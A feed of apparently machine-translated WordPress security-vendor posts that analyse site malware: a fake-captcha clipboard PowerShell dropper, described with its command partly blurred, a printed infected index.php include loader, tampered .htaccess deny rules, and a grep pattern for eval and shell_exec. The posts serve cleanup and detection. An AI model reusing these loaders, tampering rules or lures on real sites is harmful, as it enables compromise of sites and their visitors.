					<description><![CDATA[Recently, we have received several requests to remove malware that executes malicious code written to the clipboard with a fake capture, and there is a possibility that this type of malware is spreading. Here is what we know about this malware. Malware that steals clipboard contents when a fake Cloudflare captcha appears when visiting a site. This malware displays a screen like the one shown above only once to the user who visits the site. (Cookies are used to display it only once.) This fake capture asks the user to do the following in order to browse the site 1 Press &#038; hold the Windows Key R → Display a screen to execute a command locally 2 In the verification window, press Ctrl V 3 Press Enter on the keyboard to complete → The invalid code has already been written to the clipboard and the command will be executed. Let&#8217;s take a look at the malicious commands that the malware writes to the clipboard. (Some of the code has been blurred out because it is dangerous. Let&#8217;s analyze what this command does. 1 -w h = start local execution window hidden 2 ep bypass = Allow script execution ignoring execution policy → This alone shows that the intent is to be &#8220;unobtrusive&#8221; and &#8220;bypass constraints&#8221;. 3 The download source URL is made by string concatenation, and finally https://files.catbox[.] moe/****.txt, and the file is retrieved from the URL and saved in a temporary folder 4 The downloaded file name .ps1 is executed as is (&#038; is the invocation operator). In other words, the local PC is infected with a virus at this moment. How to deal with fake capture malware In many cases, this malware has tampered with the index.php and wp-config.php of WordPress to display a malicious capture screen. If this part of the site has been disinfected and also tampered with, it is highly likely that hackers have already infiltrated the server and embedded backdoors and other malicious code into multiple sites. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. We recommend that you perform a malware scan and removal by using the following methods. It is also necessary to close the vulnerabilities that allowed hackers to enter the system in the first place.

					<description><![CDATA[We will explain about Japanese SEO Spam, a malware that fills the Google search results of WordPress sites with pages of Japanese products that you do not remember creating. How does malware contaminate Google search results? There are three types of malware that contaminate Google search results with branded product pages that have not been created. (1) The link in the contaminated search results is not from your site&#8217;s domain → (2) The link in the search results is not from your company&#8217;s site, but from another site that has been hacked and altered to create a malicious page. Therefore, it is necessary for the operator of the other domain site that has been tampered with to deal with the problem. (2) The search result links to your site&#8217;s domain in the tainted search result, but the link destination does not exist. → In this case, this is SEO spam that takes advantage of the property of WordPress to create search result pages that do not exist. Not because your site has been tampered with, but because the hacker has taken the liberty of registering a nonexistent search results page with the search engine. It is effective to introduce a mechanism (e.g., outputting a noindex header) to prevent non-existent search result pages from being registered with search engines. (2) The domain of your site is the link destination in the tainted search results, and the linked page leads to an illegal product site. *When you access the illegal page, you will first fly to the site&#8217;s domain and instantly see [string].bookslit[.] sa[.]. com, etc., and you may jump to an unauthorized site. → In this case, it is highly likely that hackers have exploited a vulnerability and entered your site&#8217;s server, and the site&#8217;s data and files have been tampered with. We recommend that you first run a malware and vulnerability check on your plug-ins. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. If you are unable to log in to the WordPress administration screen, it is possible that hackers have also tampered with the HTACCESS file, which controls server settings. How are contaminated search results registered in the search results? The way a hacker has tampered with your site and registered a malicious page may be by creating that malicious page on your company&#8217;s server, or by tampering with your sitemap and registering the page in Google search results. A sitemap is data that tells search engines which pages are on a site that can be accessed by the following URLs. https://Your site URL/sitemap.xml As an example, a site that has been hacked shows that the sitemap has been falsified and illegal pages have been registered as shown below. In some malware, this page does not actually exist on the server, and when this URL is accessed, a malicious program forcibly redirects the user to another arbitrary site. How to deal with malware Japanese SEO Spam If there are symptoms of such malware, there may be a backdoor somewhere on the server that generates a sitemap, controls [&#8230;]]]></description>

					<description><![CDATA[We will explain the method of malware restoration on the server simply by accessing the WordPress site. Why malware that has been removed on the server is automatically restored just by accessing the site This type of malware is very common, and in many cases, the malware is parasitic and reinfects the program files that are executed whenever WordPress renders a site page on the system. As an example, the files that WordPress always executes are the following files. (Other files deep within the system may also be infected) index.php wp-config.php wp-blog-header.php theme-functions.php The figure below is a screenshot of an example of malware infecting index.php. In order for WordPress to display the site, it reads require __DIR__ . &#8216;/wp-blog-header.php&#8217;; which WordPress loads to display the site, there is obfuscated malicious code that is executed each time the site is accessed. I have tried to de-obfuscate this code in order to analyze it. After repeating base64 decoding and de-obfuscation several times, the original bare code appeared. We can see that the malware notifies a social networking site called Telegram that it is infected. It is likely that automated hacking tools are used to hack into a vast number of WordPress sites, and only successful sites are notified to Telegram, after which the hackers continue their attack. Thus, malware very often contains Telegram.org links or URLs. The following code shows a text file pulled from several URLs and executed with an eval function. The eval function is a PHP function that interprets text as a program and executes it Most likely the above site is another site that has been hacked by hackers. The malware body is placed on this site, and every time index.php is executed, the malware is pulled from other infected sites and reinfected. Since this malware pulls and executes the malware body on an external server, its function can be changed at any time by hackers. How to get rid of malware that reinfects itself automatically To get rid of this type of malware, index.php wp-config.php wp-blog-header.php theme-functions.php However, since other malware may be installed deep within WordPress, it is often not possible to remove the malware by simply removing the above files. For this reason, you can detect and remove more malware by using a malware scanning and removal plug-in that mechanically and comprehensively scans WordPress files. (If you are unable to log in to your WordPress site, the HTACCESSS file may have been tampered with.)]]></description>

					<description><![CDATA[We will explain the dangers of malware removal by AI. I tried to get rid of malware while listening to AI&#8217;s opinion, but the site became unviewable. I have tried deleting unknown files (that I was told were strange) regarding the wordpress malware, and getting in and out of themes and plugins, but nothing has changed. I have consulted with chatgpt and cherry servers and tried everything, but nothing is restored. I would like to be able to view the site, please. You consulted with AI such as chatgpt and others and asked them various things to get rid of malware, but now you can&#8217;t see the site. AI has various limitations in its capability and mechanism, and it is difficult to get rid of malware by AI, and it may destroy the site or server. We will explain the reasons for this. AI&#8217;s advice will be the most general, but it will not necessarily take into account the situation of the site. The advice given by ChatGPT to remove malware, while correct in some cases, includes advice that may cause the site to display poorly, for example, the advice to rename the plugin folder given by CHatGPT may cause more errors if the theme is using plugin functionality, etc., and will ensure that the site will not display poorly if you evacuate the theme. For example, the advice given by CHatGPT to rename the plugin folder may cause more errors if the theme uses plugin functionality, etc., and moving the theme back will certainly cause the site to malfunction. The initialization of the HTACCESS advice by ChatGPT may be the correct response, since malware may have tampered with it and made it impossible to log in, but the script for the tampering is embedded in index.php and memory, so even if it is repaired, it may soon be re-infected and you will still not be able to log in. It is highly likely that the infection will not change the situation where you will still not be able to log in again. AI cannot connect to the server and inspect the files exhaustively. Since AI does not have the ability to directly connect to the server, it cannot directly examine or repair the location of the WordPress malware, so it can only advise you on how to do so. However, this advice may also be based on commands to be executed on the server or programs that may or may not work properly. Examples of commands presented by AI These commands do not work on many shared servers, and there is no guarantee that the commands will work as intended, which may cause more errors on the server in some cases, which may be detrimental. grep -R --line-number -E "(base64_decode&#124;gzinflate&#124;str_rot13&#124;eval\(&#124;assert\(&#124;system\(&#124;shell_exec(&#124;passthru\(&#124;exec()" . For these reasons, if you are going to take AI&#8217;s advice on WordPress malware removal, you should carefully examine the content of the advice, taking into account the possibility that the content may cause unnecessary damage to your site. However, even careful examination of the content often requires specialized knowledge. [&#8230;]]]></description>

					<description><![CDATA[This section describes how to deal with a 500 Internal Server Error on the &#8220;Edit Post&#8221; screen or &#8220;Add Plugin&#8221; screen of the administration screen due to htaccess being edited without permission in WordPress. Tampering with htaccess If you are unable to log in to the WordPress admin screen, or if the post edit screen or add plugin screen gives you a 500Internal Server Error (or blank, or even a 403 error), HTACCESS has been tampered with and access to files with the .php extension Access to files with a .php extension may be blocked. Example of a tampered HTACCESS &#60;FilesMatch ".*\.(py&#124;exe&#124;phtml&#124;php&#124;PHP&#124;Php&#124;PHp&#124;pHp&#124;pHP&#124;phP&#124;PhP&#124;php5&#124;PHP5&#124;Php5&#124;PHp5&#124;pHp5&#124;pHP5&#124;phP5&#124;PhP5&#124;php7&#124;PHP7&#124;Php7&#124;PHp7&#124;pHp7&#124;pHP7&#124;phP7&#124;PhP7&#124;php8&#124;PHP8&#124;Php8&#124;PHp8&#124;pHp8&#124;pHP8&#124;phP8&#124;PhP8&#124;suspected)$"&#62; Order Allow,Deny Deny from all &#60;/FilesMatch&#62; This description of the configuration due to tampering prohibits access to files with any PHP-related extensions. If the HTACCESS file in the top directory of WordPress has the above description, it is highly likely that the site has been hacked and tampered with. How to deal with HTACCESS tampering The above description of blocking access to the PHP extension has been added by hackers to prevent WordPress operators from removing malware using malware scanning plug-ins, etc., so there is no problem if you delete it. Access the WordPress server with FTP software, download the HTACCESS file in the top directory, remove the tampering, and upload it back to the original server. Once you are able to access the administration screen, install the malware scanning disinfection plugin and perform other malware scanning disinfection. If the tampering reverts immediately or cannot be uploaded If HTACCESS tampering reverts back to its original state immediately, or if the file cannot be overwritten by uploading even after rewriting file permissions, there may be malware resident in the server process (memory) to re-tamper with the file. In this case, you will need to stop the process with a special program. Reference Repair HTACCESS and Index.php, which are instantly tampered with again in WordPress. However, if you have been infected with memory-resident malware, there is often a combination of malware disinfection measures on the part of various hackers. Malware that automatically executes the program itself residing in memory is infecting index.php. There is another tampered HTACCESS in the upper hierarchy. The write permission of the folder on the upper hierarchy is also being made continuously un-writable by other processes. Resident in a process of another domain on the same server. etc. In these cases, the aforementioned programs may not be able to compete. We recommend that you contact a WordPress malware removal specialist.]]></description>

					<description><![CDATA[This section explains how to deal with a situation where a server management company has changed the permissions to 000 due to a malware infection and the WordPress site can no longer be displayed. If your WordPress site can no longer be displayed and the server management company informs you that the malware has changed the permissions to 000. Each server management company monitors their servers for malware malicious activity. If there is a blatant malware infection and it is confirmed that a large number of unauthorized emails are being sent or the server is overloaded, the server management company may set the permissions to 000 for the malware-infected files. Example of server management company notification In the above server account of the customer, Using mail sending software for servers (Sendmail) We have confirmed that a large number of emails are being sent to email addresses outside of Japan. In response to this, our support team has conducted a security investigation, We have confirmed that a security-critical bug (vulnerability) exists in the program used by the customer, and that it has been exploited by a third party, The possibility of a third party exploiting this vulnerability is very high. Therefore, we are sorry to inform you of the situation after the fact, As an emergency measure, the following restrictions have been implemented.

In order to prevent damage from unauthorized access, please check the following information and take the necessary action, Please check the following information and take the necessary measures to prevent damage from unauthorized access. Reasons why WordPress sites fail to display with permission 000 Permissions are the settings that allow files to be written to and read from. Permission 000 is a setting that prevents files from being accessed or executed, so if important WordPress files (e.g. index.php and wp-config.php) are set to permission 000, the site will not be viewable and you will not be able to log in to the admin panel. WordPress malware infections can be inspected and removed with plug-ins, but this is not possible if you are unable to log in to the admin panel. What to do if you have been set to permission 000 In this case, it may be possible to restore the display of the site by changing the file permissions back to readable (755, 555, etc.) using FTP software, but we strongly recommend that you do not change the permissions back before removing the malware, as this will also restore the [&#8230;]]]></description>

					<description><![CDATA[Here is an example of WordPress malware damage where wp-blog-header.php, wp-cron.php, and .htaccess files are generated in people&#8217;s folders without their permission. Numerous wp-blog-header.php, wp-cron.php, and .htaccess files are generated without permission outside the public_html and /var/www folders on the WordPress site&#8217;s server. If this occurs, it is very likely that the site has been infiltrated by hackers and malware or backdoors have been installed. The reason why wp-blog-header.php and .htaccess files are generated in other people&#8217;s folders is that low-quality malware programs automatically spread the infection to all WordPress files on the server and randomly replicate themselves in folders without WordPress files. The reason for this is that the low quality malware program automatically spreads to all WordPress folders on the server. Why wp-blog-header.php is automatically generated wp-blog-header.php is a file that is executed each time a WordPress page is displayed. This makes it a convenient file for hackers to embed malicious code for automatic malware restoration or redirect hacks that redirect site users to other sites without their permission. For this reason, hackers write the malware-infected wp-blog-header.php into various folders. When the malicious code embedding is removed, the infection is overwritten via another malware file and automatically replaced with the malicious file, thereby reviving the infection. *Not only wp-blog-header.php, but also index.php and wp-settings.php are similar files, so these files may be written without permission. Why .htaccess is automatically generated The most common reason why .htaccess is automatically tampered with is often to write settings that prevent administrators from accessing the WordPress administration screen. Other reasons why malware files are automatically written to the folder Other times, malware or hackers write fake files that look like WordPress file names such as wp-cron.php, wp-cofiq.php or wp-crom.php into your folders. The reason for this is often to install a backdoor, a file that provides an entry point into the server for hackers to continue hacking, or to install a program to send spam emails. Files often installed as backdoors Tiny File Manager Files often installed as spam mailers: GFX Xsender, leaf mailer How to deal with malware files installed outside of the WordPress web publishing area PHP files and htaccess files located outside of the WordPress public domain are basically not executable, so deleting them is the best way to deal with them. However, if your server has its own system that reads and uses files outside the public domain, you may need to delete them carefully. Other malware investigation and removal In addition, once tampering has been found in the server, there may still be malware or backdoors remaining in the deeper layers of WordPress. We recommend that you use a plugin or other tool that can comprehensively inspect and exterminate malware in the server. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. Plug vulnerabilities Next, the vulnerability of the site that allowed the hacker to enter in the first place must also be plugged, or the same vulnerability can be used to re-infect the site.

					<description><![CDATA[This section explains how to identify suspicious files (malware files) in the top directory of WordPress. File comparison of top directory structure of malware-infected and non-infected sites The figure below shows the file structure of the top directory of WordPress on the non-malware-infected site. The googlee***.html file is the authentication file for Google&#8217;s access analysis, and .user.ini is the server configuration file. The figure below shows the file structure of infected with malware. You can see that the files circled in red are files that do not originally exist in WordPress and have been given lax file names. If you open one of these files in a text editor, you will see that it has been obfuscated as shown below and is a typical malware file containing elliptic functions. Are there any incorrect files in the top directory of WordPress that should have been placed there? The standard files included in the WordPress top directory are as follows wp-admin (folder) wp-content (folder) wp-includes (folder) .htaccess is the server configuration file created when WordPress generates permalinks. index.php license.txt readme.html wp-activate.php wp-blog-header.php comment-submit.php wp-config.php wp-config-sample.php wp-cron.php wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php Other than this, can I suspect that the files are malware if they are authentication files for Google&#8217;s access analysis, .user.ini, and the name of the file is a meaningless string of characters? If the file is opened in a text file editor and obfuscated, we are more suspicious of malware infection. In this case, we recommend that you run a malware scan once against all sites on the server.

					<description><![CDATA[This section explains how to stop detection of malware resident in the process in WordPress. What is process-resident malware? Process-resident malware is a malicious program that runs all the time in the server&#8217;s memory. Because it is resident in memory, this type of malware often has no main program file on the server. The most common type of process-resident malware that is currently confirmed is the type that automatically rewrites htaccess and index.php to prevent login to the administration screen and reinfect other malicious programs. Also confirmed is backdoor-type process-resident malware that keeps the server itself running programmatically in the process, allowing hackers to easily rewrite folders in the server by sending data. Such malware continues to programmatically execute the following commands, including infinite loops. command /usr/local/php/7.4/bin/php /home/path to wordpress/lock666.php command php /home/server user id folder/public_html/path to wordpress/d2a81c15 Instead of executing PHP in response to user access, the php command executes the rogue program directly in memory. Since the program remains in memory, many of them delete their own body files. For this reason, no matter how many files are inspected in the server, this malware cannot be found. Detect and remove process-resident malware Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. You can view and stop the list of potentially malicious processes by downloading, adding and activating the WordPress: Malware Scanning &#038; Security Plug-in. WordPress admin > Malware Scan > Security tab > Scroll to the bottom of the screen You can stop the malicious process from the Process Manager. Please note that the function to detect and stop resident malware may not be available if certain commands are not allowed on the server side. Cautions for Stopping Processes The Process Manager function mechanically displays the processes that continue to run using PHP commands, so just because something is displayed here does not necessarily mean that the process is malicious. Please be careful when working with this function, as it may cause server batch processing or other important processes to stop. In our experience, the following processes are most likely to be malware The file itself that the process is executing does not exist on the server. The process has been running for a long time (more than a few hours) (or has been observed repeatedly over a long period of time). The command points to a file in the WordPress core files, and the file does not exist in the WordPress core files. There are no files in the WordPress core files that require direct PHP command execution. The file name that the process is executing is a random meaningless string. Or, the file name is that of a common process-resident malware, such as the following. lock666.php, small.php, moon.php, wjsindex.php, wp-confiq.php (not wp-config.php) and other file names are often used by process-resident malware]]></description>

					<description><![CDATA[This section describes injection attacks in which malicious content is inserted into WordPress pages. WordPress Content Injection Attacks The most common type of WordPress hacking is an injection attack, in which a site&#8217;s content or code is partially rewritten to insert malicious content, inducing users who visit the site to take actions not intended by the site&#8217;s creator. Examples of malware injected by hackers to induce unintended user behavior include the following Users are redirected to another malicious site instead of the page they were trying to view. Attempts to induce users to download malicious software Phishing attacks in which an unauthorized page is generated, registered with search engines, and users accidentally access the unauthorized page. Three types of injection attacks There are three types of injection attacks. Code Injection This is an injection attack that embeds (or controls the output of) a JAVASCRIPT or PHP executable program into an existing page. Page Injection This is an attack in which a malicious page itself is placed on the server to trap search engines and force users to access the page. Content Injection Content Injection is the insertion of illegal character strings or links into the content of a page (body, header, footer) to misdirect users. In these cases, content is often plugged in to give an SEO advantage. How do hackers inject malicious code or content into a site? In order for a hacker to perform an injection attack on a site, it is assumed that the site has already been successfully hacked and that the hacker has access to the database or files on the server that can be rewritten. Around 80% of all successful hacks are caused by site vulnerabilities or user password vulnerabilities. Hackers find vulnerabilities in the site, break through them, and then inject malware into files such as the following wp-config.php index.php wp-blog-header.php Theme functions.php header.php footer.php single.php Other plugins and theme settings stored in the database However, nowadays, the injection is not limited to the above files, but is often performed deep within the hierarchy in a variety of files that are executed each time a WordPress page is displayed. Finding and Removing Injected Files There are thousands of WordPress files, and it is very difficult to manually open each and every file to find injections. A plugin that exhaustively scans WordPress site files with nearly 20,000 injection (malware) detection patterns may be able to find and remove injections. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. We hope you will use it!]]></description>

					<description><![CDATA[This section explains how to check for malware deployed in processes (memory) on a WordPress site. Malware that deploys and executes malicious code in server processes and erases its own code from the server Malware has become more sophisticated in recent years, and some malware first causes its own malicious code to reside in the server process (memory) in an infinite loop, and then deletes its own code (files) from the server. Some of the infinite loop code rewrites HTACCESS and INDEX.PHP to reinfect the server with malware, while others have the functionality of the server itself and use it as a springboard for attacks on other sites. Reference Technical analysis of WordPress hack with PHP script lock360.php as running process Such malware cannot be found no matter how many files are searched on the server. This is because the malware exists only on the process. Get and display processes running on the server To retrieve and display only the PHP processes running on the server that are likely to be malicious processes, we can directly execute commands on the server called ps auwwx &#124; grep -v grep &#124; grep -i php If you get output like the following, it is very likely that malware has been deployed on the process. 10207 2777 0.0 0.0 361172 38688 ? S 07:33 0:03 /opt/plesk/php/7.3/bin/php /var/www/httpdocs/wp-admin/css/colors/blue/lock360.php 10207 → Process ID. 07:33 → Start time of the process 0:03 → Time taken to start running the process /opt/plesk/php/7.3/bin/php → command to run PHP /var/www/httpdocs/wp-admin/css/colors/blue/lock360.php → the file that keeps running (the malware may have already deleted its own file from the server) Why is the resulting file of this command most likely malware? The reason for this is, The file wp-admin/css/colors/blue/lock360.php does not exist in the core WordPress files, PHP is generally only executed by command for batch processing, and WordPress has no built-in program to do batch processing. There is no way that a file that is executed for a long period of time could be in the core WordPress files. Execute the above command from a PHP program and display the output The most common way to execute commands on the server is remotely from a command prompt via an SSH connection, but you can also do this from a PHP program. Copy and paste the code below in a text editor and save it as, for example, processcheck.php. &#60;?php exec("ps auwwx &#124; grep -v grep &#124; grep -i php",$output); print_r($output); Upload this to the server and access it with a browser to view the PHP processes currently running on the server. Some servers may not allow you to retrieve the data in this way, but major rental servers such as Sakura Server and X Server seem to be able to retrieve and display the data properly. If you find a suspicious process, stop the process. Processes can be stopped by executing the following commands on the server, kill -9 123456 -9 → means &#8220;force stop&#8221;. 123456 → Specify the ID of the process.]]></description>

					<description><![CDATA[We will explain why a site is infected with malware in WordPress and moves itself to another site, and why the malicious code comes back after a while, no matter how many times you remove it. Examples of WordPress malware that resurface again and again Here is one case of repeated reinfection. [Background. **/**Around noon Redirect hacking damage was discovered. Symptoms include redirection to an unauthorized site on the first access (after reloading or returning once, normal browsing is possible thereafter). *Around the evening of */***. Malcare&#8221; security plugin was installed and scanned and repaired. **/** Similar event occurred in the evening, so a scan and repair was performed. *Nothing in particular happened on */**. **/** recurred as above. We found an illegal code in some php files that loaded a file to redirect, so we removed the code. **/** Although the above redirects no longer occur, there are currently three occurrences of redirects with malicious scripts embedded in header.php. Delete the script when it occurs. Status. We have installed the SITEGUARD plugin and changed the login URL, ID, password, etc., but looking at the FW logs that can be checked with &#8220;Malcare,&#8221; there are traces of user information being accessed and logged in, and it is possible that a back door has already been set up, We do not know what to do about it (we block IP addresses that behave improperly on a case-by-case basis, but it seems to be a game of &#8220;we&#8217;ll try again and again&#8221;). Why the illegal redirect code is quickly coming back? In our experience, the following are the five most common reasons why malformed redirect codes are quickly resurrected after removal. 1.The malware itself that embeds malicious code on the site has not been removed, and the malicious code is embedded in the site header or index.php again every time the site is accessed. 2.Malicious users are being created, and hackers are logging in and repeatedly embedding malicious code. 3.The code that embeds the malicious code in the site is not in a file, but is residing and running in the server&#8217;s memory (process). 4.Malware-infected sites on other domains within the server repeatedly embed malicious code. 5.The vulnerability of the site that allowed the hacker to enter has not been resolved. What to do if reinfection occurs repeatedly 1 Remove all malware Please use a malware scanning plugin with a high detection rate to find the malware itself that is the source of re-infection. Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. If found, the malware body will be removed. If you have multiple sites on your server, we recommend that you use the above plug-in to scan and remove malware from all sites on your server. 2 Remove unauthorized users If there is an administrator user in WordPress that you do not remember creating, delete that user or change the password to a strong one so that he/she cannot log in again. We recommend that you also change the password of the existing administrator user. 3 Elimination of process-resident [&#8230;]]]></description>

					<description><![CDATA[Analyze wordpress malware that revives in an instant or changes the permissions (write permissions) of index.php and htaccess files. Symptoms of process-resident malware This type of malware causes symptoms of sending users who visit a site to another malicious site or hooking fake pages into Google searches. It also features modifications to index.php, htaccess, wp-config.php, and other files to disable access to the site&#8217;s administrative functions. In addition, the malware files and tampering are immediately restored after disinfection, or are processed in an instant (automatic processing) by changing the write permissions of folders and files so that they cannot be disinfected. What is the technology of malware that resides in server processes (memory) and reinfects them in an instant? Our analysis of this type of malware revealed that it resides in the server process in the following manner. 1 Code for the main body of the malware, which improves various files to execute malicious actions on the site, is pulled in from the outside using the $_POST function, etc., and executed. 2 Erasing its own files with code such as unlink($_SERVER[&#8216;SCRIPT_FILENAME&#8217;]) 3 Even if you delete your own file, the code is already loaded into memory, so execution continues. 4 Next, write the infinite loop to the server process do{ //Code for the infinite loop }while(1) 5 The above infinite loop code contains code that monitors site tampering and disinfection operations on the site operator&#8217;s side, such as changing permissions, and re-executes the tampering. As soon as the site operator disinfects the malware, the malware 1 is reinfected. In other words, the file of the body of this malware does not exist in the server, but only in an infinite loop in the memory of the server process. How to get rid of server process-resident malware? Since this malware does not exist as a file, it can only be removed (stopped) in the following two ways 1 Restart the server (or PHP) 2 Stop PHP infinite loop by server command Examples of commands php system("kill process id"); Once the process is stopped, any other tampering or malware that exists as a file can be detected and removed with plug-ins such as the [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. However, common shared servers do not allow server restarts, and executing commands on the server often requires a special PHP program to mediate. The format for executing commands on the server using PHP as an intermediary is as follows shell_exec("command");]]></description>

					<description><![CDATA[If you get a 403Forbidden error on the bottom page of your WordPress site or on the admin page, you may be infected with malware Suddenly your WordPress site gets a 403Forbidden error A 403 error can mean that the server is forbidding access to the site. While this is often caused by an error in the HTACCESS description or a permissions issue, it can also be caused by a malware infection. *The HTACCESS file is a file that writes various server settings in the top directory of WordPress Malware may alter and rewrite the HTACCESS file to prohibit access to the WordPress administration screen and certain pages within the administration screen, making it impossible to detect and remove the malware. Malware may randomly install the above malicious HTACCESS files in the server, resulting in a 403 error for the entire WordPress site, including the lower-level pages and folders. Examples of HTACCESS file tampering As an example of a tampered HTACCESS file, the following tampering code may be embedded in the file. &#60;FilesMatch ".*\.(py&#124;exe&#124;phtml&#124;php&#124;PHP&#124;~ A list of multiple extensions~.&#124;phP8&#124;PhP8&#124;suspected)$"&#62; Order Allow,Deny Deny from all &#60;/FilesMatch&#62; &#60;FilesMatch "^(index.php&#124;wp-login.php&#124;~ A list of multiple file names~&#124;wp-crom.php&#124;wp-confiq.php)$"&#62; Order Allow,Deny Allow from all &#60;/FilesMatch&#62; FilesMatch &#8220;.*\. (py&#124;exe&#124;phtml&#124;ph ~ Deny from all means that files with extensions such as py, exe, phtml, php, etc. should not be accessible. This description is causing 403 errors. FilesMatch &#8220;^(index.php&#124;wp-login.php&#124;wp- ～ Allow from all This line means that the malware only allows access to files that are convenient for hackers (backdoors, etc.). Such tampering may be of low quality code and can be generated in the server at random. This may result in a 403 error for the entire site on the server or a blank screen, making it impossible to display the site itself. How to deal with unauthorized tampering HTACCESS files If such a tampered HTACCESS file has been installed on the server, it is necessary to delete the HTACCESS file itself if it is in an unnecessary place, and if the malicious code is included in a legitimately installed HTACCESS by WordPress, it is necessary to remove only the malicious code part. If the malicious code is included in the HTACCESS file, it is necessary to remove only the malicious code part. Generally, WordPress installs only one HTACCESS file in the top directory of WordPress. However, plug-ins and themes may be installed in the upload folder or in the plug-ins&#8217; or themes&#8217; folders. HTACCESS files can also be randomly placed in deeper folders by malware, making it difficult to find them all. In such cases, we recommend that you use a malware scanning plug-in to perform a comprehensive scan. Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. However, since HTACCESS tampering is caused by a wide variety of code patterns, it may not be possible to detect all of them even if you use the above plug-ins. Please consider consulting a specialist if you are unable to completely remove the tampering or if there is a possibility that the tampering is still present.]]></description>

					<description><![CDATA[There is an increasing amount of malware infecting index.php in every folder in WordPress. This malware will be explained. Malware that infects index.php in any folder This malware places index.php containing malware in every folder of the WordPress core files. Typical folders are as follows /wp-admin/css/colors/midnight/midnight/ /wp-admin/css/css/ /wp-includes/js/swfupload/swfupload/ /wp-includes/sodium_compat/src/Core32/Poly1305/Poly1305/ It is difficult to visually inspect all of these folders because they are placed in a very deep hierarchy, and since there is no index.php file in these folders originally, they will not disappear even after an update. The malware code contains a large number of garbled comments (non-executable programs) as shown in the figure below, which are obfuscated to avoid malware detection. How to deal with malware that infects index.php in any folder It would take a lot of effort to examine and remove this malware from every single folder. The easiest way to scan for and remove malware is to use a malware scanning plugin that comprehensively scans all folders and files on the entire site. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Another effective method is to download the same version of the WordPress core files from the official website and replace them entirely. WordPress Release Download Also, plug the vulnerabilities that provided entry points for the hackers who allowed this malware to be installed.

					<description><![CDATA[Here is what to do if a user complains that a WordPress site sends them to another site. Why does it go to another site by itself when I access the site? The reason for this is that the site data has been tampered with and code has been embedded somewhere on the site to misdirect the user. This type of tampering is called a redirect hack. Hackers take advantage of a vulnerability or other vulnerability to infiltrate a site, and then alter and embed malicious scripts that redirect users to malicious virus distribution sites, sweepstakes sites, or other sites where they want to increase their traffic. In many cases, the scripts are complicated enough to be triggered only when a Google search is performed, or once redirected, they are not triggered for several days afterward, or only when the user is on a smartphone. Where is the code embedded? The malicious code from such tampering is often embedded in a program that runs on any page in WordPress. Typical files will look like the following wp-config.php index.php wp-blog-header.php Theme index.php Theme header.php Theme footer.php However, it is extremely difficult to find these tampered files by inspecting them one by one, as they are nowadays often embedded in a very wide variety of files in the deeper hierarchies of WordPress. To find tampered files, we recommend the use of a plugin that can comprehensively scan WordPress files for malware. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. How to deal with redirect hacks If your site has been tampered with, there are basically three ways to deal with the situation. 1 Remove all tampering 2 Close the vulnerabilities that allowed hackers to tamper with the site. 3 Do 1 and 2 above for all sites on the server The reason why 3 is necessary is that many of today&#8217;s malicious tampering files (malware) are of the type that scan the folder structure on the server and spread their tampering beyond the domain folders.]]></description>

					<description><![CDATA[Unlike common computer viruses, malware that infects WordPress often rewrites the legitimate WordPress core files to become a parasite. We will explain the reasons for this and how to deal with it. Malware parasitic on legitimate WordPress files This type of malware is embedded by altering legitimate WordPress files, such as index.php /wp-includes/query.php /wp-includes/pluggable.php /wp-includes/l10n.php etc. Let&#8217;s look at some examples of malware code parasitic on the above legitimate files. Parasitic file name /wp-includes/pluggable.php This malware has the ability to load the malware body with $wp_update_file=, which is common nowadays, and spread or save the malware in the server with @file_put_contents(. Parasitic file name /wp-includes/blocks/media-text.php The malware here is called a backdoor that processes cookie data containing malicious code sent by hackers to execute arbitrary code on the server. Why does the malware parasitize legitimate WordPress files? The reason for this is that these files are always executed every time a WordPress page is loaded. Parasitizing malware in files that are always executed every time a page is displayed in WordPress makes it easier for hackers to spread the infection automatically every time a page on the site is displayed, automatically reinfect the malware, or send malicious code to be executed by the server This is an advantage for hackers because they no longer need to target specific files to execute malicious code. A few years ago, index.php and wp-config.php were the main target of parasitic files, but in recent years, malware is now parasitizing a wide variety of other files that are always executed in the core WordPress files. Finding and Removing Malware Parasitized in WordPress Core Files The core WordPress file consists of thousands of program files, and it is not easy to open each and every file to find malware. We recommend the use of a malware scanning plug-in that provides a comprehensive scan for malware. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. When removing malware parasites from legitimate files, please be careful to remove only the malware part. If you delete the entire legitimate file, or if you delete critical code in the legitimate file, it will cause the site to malfunction, for example, the site will not display properly. If you are unsure of the extent of the malware to be removed, you can download the data of the core WordPress files of the same version and replace them with the legitimate files that are not infected with malware using FTP software.]]></description>

					<description><![CDATA[Here is what to do if your wordpress site has an include statement in index.php that loads and executes malware. Tampering that loads malware is in index.php The malware modifies and embeds the following code in the original index.php in various folders on the WordPress site or, if there is no index.php in the folder, after generating it. ?php /*9c46d*/ $rhz7 = "/var/www/*******/wp\x2dincludes/p\x68p\x2dcompat/.a8f26ae0.css"; if ($rhz7 . '67'){ @include_once /* 44 */ ($rhz7); } /*9c46d*/ Analyze malware code The /*9c46d*/ part is an identifier to determine if other malware (e.g., resident in the server process) has removed the tampering. If the tampering has been removed, it is possible that other malware that automatically reinfects the server may still be present. In the $rhz7 = &#8220;/var/www/*******/.a8f26ae0.css&#8221; section, the body of the malware (which causes malicious behavior such as redirecting the site) is assigned to the variable. In this case, the malware is disguised as a .css stylesheet. /wp\x2dincludes/p\x68p\x2dcompat/.a8f26ae0.css is obfuscated, but when unobfuscated /wp-includes/php-compat/.a8f26ae0.css which indicates that the malware itself is in the /wp-includes/php-compat/ folder. if ($rhz7 . &#8217;67&#8217;){ is always positive. This is a meaningless piece of code that prevents it from being caught by the detection. The same goes for the /* 44 */ comment. @include_once ($rhz7); You can see that every time index.php is executed, the malware body is loaded and executed with an include_once statement. How to deal with include statements that load and execute malware If you remove the code between the malware identifier 